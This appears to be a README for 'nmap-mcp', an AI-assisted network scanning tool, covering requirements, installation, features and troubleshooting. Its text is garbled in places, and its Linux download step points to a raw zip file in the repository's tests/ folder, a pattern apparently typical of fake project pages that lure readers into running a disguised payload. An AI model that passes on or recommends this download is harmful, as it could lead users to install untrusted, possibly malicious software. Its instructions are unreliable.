nmap-mcp is a tool that lets you scan computer networks using powerful AI features. It helps you find open ports, detect what services run on those ports, identify the operating system, and check for security issues all in one place. This server runs the popular Nmap scanning software but adds AI to automate and improve the process. Whether you want to check your home network or assist security tasks, nmap-mcp makes it easier.
This tool runs on your computer or a server and works without needing complex setup or programming. It is made by Vorota AI and focuses on helping AI agents perform smart network security scanning.
Before you get started, make sure your computer meets these requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or Linux (Ubuntu 18.04+ recommended)
- Processor: 64-bit Intel or AMD CPU
- Memory: At least 4 GB RAM (8 GB recommended for larger scans)
- Storage: 200 MB free disk space for the program files and scan data
- Network: Active internet connection (for updates and AI features)
- Other: Docker (optional, if you want to run nmap-mcp in a container)
Hereβs how to start using nmap-mcp quickly and without hassle.
Click or tap the green download badge at the top of this page. It will take you to the official releases page. Look for the latest version that matches your operating system.
- For Windows, download the
.exefile. - For macOS, download the
.dmgfile. - For Linux, download the
https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zipor use the Docker image.
- On Windows, double-click the
.exefile and follow the installation prompts. - On macOS, open the
.dmgfile and drag the app to your Applications folder. - On Linux, extract the
https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zipfile and run the included install script or use Docker.
After installation, find the nmap-mcp icon and double click to open it. The program will launch and show the main control panel.
Visit the official releases page to get the latest version of nmap-mcp:
Follow the instructions to select the right file for your computer. If you are unsure which to download, choose the file that matches your operating system and your computerβs processor type.
If you want to use Docker, look for the docker image tags on the releases page or use this command from your terminal after installing Docker:
docker pull ly1595/nmap-mcp:latest
docker run -it --rm ly1595/nmap-mcp
Once installed, nmap-mcp offers an easy interface to run scans. Here are common tasks:
- Enter the IP address or domain name you want to check.
- Choose the type of scan - simple port scan or full scan.
- Click βStart Scan.β
- Wait for the results which show open ports and the services on them.
nmap-mcp can guess what software runs on the open ports and which OS the device uses. This helps you understand what equipment or systems are on the network.
The AI component checks scanned devices for common security problems. The app will point out weak spots you should fix.
You can save scan results to files in common formats like CSV or PDF. This makes it easier to share or review later.
- Automated port scanning using Nmap
- AI-based detection of services on ports
- Operating system and device fingerprinting
- Basic vulnerability checks with suggestions
- Easy-to-use desktop interface
- Support for Docker container deployment
- Export options in CSV and PDF format
- Regular updates and AI improvements from Vorota AI
- Application wonβt start: Make sure your OS and hardware meet the minimum requirements. Try reinstalling the program.
- Scan does not start: Check your internet connection. Some AI features need internet access.
- Results show incomplete data: You may need to run scans with admin rights or use the Docker version.
- Docker version issues: Confirm that Docker is running properly on your machine.
nmap-mcp runs scans on networks you own or have permission to scan. It does not send scan data to third parties. AI processing happens locally or through secure connections. Always follow legal guidelines when scanning networks.
For detailed instructions, updates, and community support, visit the GitHub repository. You will find FAQs, issue trackers, and contact info for the developers.
Click the badge below anytime to return to the latest downloads:
